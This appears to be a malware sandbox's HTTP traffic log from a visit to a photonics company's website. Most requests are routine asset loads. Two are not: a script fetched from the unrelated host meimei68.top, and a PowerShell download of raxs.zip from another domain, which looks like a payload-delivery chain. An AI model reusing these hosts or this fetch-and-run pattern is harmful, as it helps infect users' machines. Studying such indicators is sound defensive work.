Source: global traffic	HTTP traffic detected: GET /?sid=ywVkO4X3lld7Z6Bj&data=eyJnYVRyYWNraW5nSWRzIjpbXSwiZ2FNZWFzdXJlbWVudElkcyI6W10sImdhQ2xpZW50SWRzIjpbXSwiY29udGV4dCI6eyJsaWJyYXJ5Ijp7Im5hbWUiOiJsZnRyYWNrZXIiLCJ2ZXJzaW9uIjoiMi42OS4wIn0sInBhZ2VVcmwiOiJodHRwczovL3d3dy5mb2N1c2xpZ2h0LmNvbS8iLCJwYWdlVGl0bGUiOiJGb2N1c2xpZ2h0IOKAkyBOZXZlciBTdG9wIEV4cGxvcmluZyIsInJlZmVycmVyIjoiIn0sImV2ZW50IjoidHJhY2tpbmctZXZlbnQiLCJjbGllbnRFdmVudElkIjoiNGNlY2M1ZjUxNGI2YzNiNyIsInNjcmlwdElkIjoieXdWa080WDNsbGQ3WjZCaiIsImNvb2tpZXNFbmFibGVkIjp0cnVlLCJjb25zZW50TGV2ZWwiOiJub25lIiwiYW5vbnltaXplSXAiOmZhbHNlLCJsZkNsaWVudElkIjoiTEYxLjEuNjkzMWIzYWQyMTM5MGYwMy4xNzQ4MzcxOTEwNzQ5IiwiZm9yZWlnbkNvb2tpZXMiOltdLCJwcm9wZXJ0aWVzIjp7fSwiYXV0b1RyYWNraW5nRW5hYmxlZCI6dHJ1ZSwiYXV0b1RyYWNraW5nTW9kZSI6Im9uX3NjcmlwdF9sb2FkIn0= HTTP/1.1host: tr.lfeeder.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: cross-sitesec-fetch-mode: no-corssec-fetch-dest: imagesec-fetch-storage-access: activereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/12/Focuslight-Advancing-Photonics-Technologies-Around-the-World-1.mp4 HTTP/1.1Host: focuslight-www.oss-ap-southeast-1.aliyuncs.comConnection: keep-alivesec-ch-ua-platform: "Windows"Accept-Encoding: identity;q=1, ;q=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: videoSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Language: en-US,en;q=0.9Range: bytes=131072-160694271If-Range: "DC118A8773E9D272246DBD8EFF6CBA2D"
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo.svg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /lsass/index.js?8a7441451c8ad03d76 HTTP/1.1Host: meimei68.topConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.focuslight.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?sid=ywVkO4X3lld7Z6Bj&data=eyJnYVRyYWNraW5nSWRzIjpbXSwiZ2FNZWFzdXJlbWVudElkcyI6W10sImdhQ2xpZW50SWRzIjpbXSwiY29udGV4dCI6eyJsaWJyYXJ5Ijp7Im5hbWUiOiJsZnRyYWNrZXIiLCJ2ZXJzaW9uIjoiMi42OS4wIn0sInBhZ2VVcmwiOiJodHRwczovL3d3dy5mb2N1c2xpZ2h0LmNvbS8iLCJwYWdlVGl0bGUiOiJGb2N1c2xpZ2h0IOKAkyBOZXZlciBTdG9wIEV4cGxvcmluZyIsInJlZmVycmVyIjoiIn0sImV2ZW50IjoidHJhY2tpbmctZXZlbnQiLCJjbGllbnRFdmVudElkIjoiNGNlY2M1ZjUxNGI2YzNiNyIsInNjcmlwdElkIjoieXdWa080WDNsbGQ3WjZCaiIsImNvb2tpZXNFbmFibGVkIjp0cnVlLCJjb25zZW50TGV2ZWwiOiJub25lIiwiYW5vbnltaXplSXAiOmZhbHNlLCJsZkNsaWVudElkIjoiTEYxLjEuNjkzMWIzYWQyMTM5MGYwMy4xNzQ4MzcxOTEwNzQ5IiwiZm9yZWlnbkNvb2tpZXMiOltdLCJwcm9wZXJ0aWVzIjp7fSwiYXV0b1RyYWNraW5nRW5hYmxlZCI6dHJ1ZSwiYXV0b1RyYWNraW5nTW9kZSI6Im9uX3NjcmlwdF9sb2FkIn0= HTTP/1.1host: tr.lfeeder.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jticn0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jticn1.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn1.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/whicn2.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/spvideicn.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jiantouup.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/clicook.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jjbg.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/xingxingmap.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jgdtline.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/closevideo0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/footbg.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/fybg.png HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/wp-content/themes/cn/en_css/public.css?v=1accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: i
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/10/cropped-favicon-32x32.jpg HTTP/1.1host: www.focuslight.comsec-ch-ua-platform: "Windows"user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8sec-fetch-site: same-originsec-fetch-mode: no-corssec-fetch-dest: imagereferer: https://www.focuslight.com/accept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn0.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/20230911094506.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn2.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/wlicn3.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/weixincodeimage.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo1.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/Heptagon-Logo.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/09/02%E5%8D%8A%E5%AF%BC%E4%BD%93%E6%BF%80%E5%85%89%E5%85%83%E5%99%A8%E4%BB%B6.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/xingxingmap.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jgdtline.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/fybg.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/10/cropped-favicon-32x32.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/logo1.svg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E6%B1%BD%E8%BD%A6%E5%BA%94%E7%94%A8.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/%E7%A7%91%E5%AD%A6%E7%A0%94%E7%A9%B6.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/01%E5%8E%9F%E6%9D%90%E6%96%99.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/08/03%E6%BF%80%E5%85%89%E5%85%89%E5%AD%A6%E5%85%83%E5%99%A8%E4%BB%B6.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E6%B6%88%E8%B4%B9%E7%94%B5%E5%AD%90.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/dtimg.png HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/09/Optical-coating-3.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%85%88%E8%BF%9B%E5%88%B6%E9%80%A0.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%8C%BB%E7%96%97%E5%81%A5%E5%BA%B7.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/07/04%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/footbg.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2024/05/%E5%85%89%E9%80%9A%E4%BF%A1.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/cn/images/jjbg.jpg HTTP/1.1host: www.focuslight.comuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36accept: /sec-fetch-site: nonesec-fetch-mode: corssec-fetch-dest: emptysec-fetch-storage-access: activeaccept-encoding: gzip, deflate, br, zstdaccept-language: en-US,en;q=0.9cookie: _lfa=LF1.1.6931b3ad21390f03.1748371910749priority: u=1, i
Source: global traffic	HTTP traffic detected: GET /raxs.zip?8d21e5f647d81a33c781 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: www.insideedgepr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=3AbPdawTdpo235d&MD=4WrkVZ6r HTTP/1.1host: slscr.update.microsoft.comaccept: /user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33
